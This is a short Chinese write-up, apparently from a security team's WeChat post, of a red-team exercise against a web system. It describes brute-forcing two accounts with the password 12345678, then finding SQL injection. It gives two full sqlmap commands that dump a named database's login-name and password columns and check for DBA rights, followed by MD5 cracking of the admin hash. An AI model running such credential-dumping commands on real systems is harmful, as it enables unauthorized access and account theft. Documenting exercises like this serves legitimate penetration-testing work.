某护网的一次漏洞挖掘

主要成果

通过暴力破解破解出两个用户（ww|zxy）,通过指定爆破对该两个账户进行爆破，密码全部为 12345678， 进入后台寻找 Sql Injection，成功找寻一处 Sql Injection，注入跑出 admin 超级管理员的密码，随 后到 Md5 解密网站对该 Md5 密文进行解密，成功拿到明文，登陆系统

1. 爆破用户，返回 Length 长度不同，随后爆破密码，密码均为 12345678

2.登录后台寻找 Sql Injection（数据库为 DBA 权限） Sql Injection 数据包（弱口令爆出的账号登陆后台找到的注入点，用户必须为登录状态下才行，如果退出， cookie 会失效。）：

SQLMap：sqlmap -r ss.txt --random-agent --risk=3 --level=3 --drop-set-cookie -- tamper=between -D"ZJJYPT" -T"ZJ_WS_PERSON" -C"LOGINNAME,LOGINPASS" –dump

SQLMap：sqlmap -r ss.txt --random-agent --risk=3 --level=3 --drop-set-cookie -- tamper=between --is-dba

3.密文拿到 Md5 解密网站（www.cmd5.com），进行解密。

超级管理员账号密码（拿到靶标）：

Username：admin

Password：xxx.8396

感觉好水哦

原文始发于微信公众号（奉天安全团队）：某护网的一次漏洞挖掘